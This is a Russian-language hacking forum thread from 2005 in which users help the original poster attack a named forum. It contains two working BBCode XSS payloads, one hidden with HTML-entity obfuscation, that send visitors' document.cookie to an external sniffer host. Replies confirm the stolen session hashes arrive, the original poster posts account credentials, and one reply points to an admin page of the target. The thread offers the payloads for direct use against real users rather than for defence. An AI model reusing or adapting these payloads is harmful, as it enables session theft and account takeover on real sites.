Форумы Форум на http://www.redwall.planet.ee/forum/index.php

Discussion in 'Уязвимости CMS/форумов' started by redwin, 22 Dec 2005.

  1. redwin

    redwin New Member

    Joined:
    20 Dec 2005
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    #1 redwin, 22 Dec 2005
  2. vorishka

    vorishka Elder - Старейшина

    Joined:
    3 Mar 2005
    Messages:
    309
    Likes Received:
    43
    Reputations:
    22
    И XSS не катит? Извени у меня там нет ака и регатся не хочу...
    PHP:
    [color=ЦВЕТ_ФОНА][url]www.ut[url=www.s=''style='font-size:0;color:ЦВЕТ_ФОНА'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]
     
    #2 vorishka, 22 Dec 2005
  3. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    ты помоему разделом ошибся...
     
    _________________________
    #3 TANZWUT, 22 Dec 2005
  4. redwin

    redwin New Member

    Joined:
    20 Dec 2005
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Akk redwin
    password redwin
    xss пробовал.
    не появляются в снифере данные.
     
    #4 redwin, 23 Dec 2005
  5. Tem

    Tem -

    Joined:
    5 Oct 2005
    Messages:
    557
    Likes Received:
    157
    Reputations:
    179
    Поставь сюда тот код который ты пихал туда ?
     
    #5 Tem, 23 Dec 2005
  6. Barsik

    Barsik Блoxacтый

    Joined:
    16 Jan 2005
    Messages:
    267
    Likes Received:
    235
    Reputations:
    182
    Этот вроде пашет
    HTML:
    [url]http://www.[url=http://wj.com/style=display:none;background&+#58;&+#117;&+#114;&+#108;&+#40;&+#106;&+#97;&+#118;&+#97;&+#115;&+#99;&+#114;&+#105;&+#112;&+#116;&+#58;&+#100;&+#111;&+#99;&+#117;&+#109;&+#101;&+#110;&+#116;&+#46;&+#105;&+#109;&+#97;&+#103;&+#101;&+#115;&+#91;&+#49;&+#93;&+#46;&+#115;&+#114;&+#99;&+#61;&+#34;&+#104;&+#116;&+#116;&+#112;&+#58;&+#47;&+#47;&+#97;&+#110;&+#116;&+#105;&+#99;&+#104;&+#97;&+#116;&+#46;&+#114;&+#117;&+#47;&+#99;&+#103;&+#105;&+#45;&+#98;&+#105;&+#110;&+#47;&+#115;&+#46;&+#106;&+#112;&+#103;&+#63;&+#34;+document.cookie;&+#41;&+#32;]wj[/url][/url]
    Удали все плюсы кроме плюса у document.cookie
    Кук вылетит на ачатовский снифф
     
    #6 Barsik, 23 Dec 2005
  7. syntacsis

    syntacsis Elder - Старейшина

    Joined:
    14 Nov 2005
    Messages:
    78
    Likes Received:
    31
    Reputations:
    6
    Чего не появляется? Все появляется. И vorishka дал код и Barsik - wj код хсс. Оба работают, приходит хэш. Только при условии автологина естств. Если юзер не юзает "Автоматически входить при каждом посещении", то не придет хэш.

    (Хотя это и без меня уже 100 раз говорили.
    Так что просьба не прибавлять репутацию :) :) :) )

    Вот см. твой форум:
    http://redwall.planet.ee/forum/admin/admin_disallow.php?setmodules=00

    ну это тоже все знают...
     
    #7 syntacsis, 24 Dec 2005
    Last edited: 24 Dec 2005
(You must log in or sign up to post here.)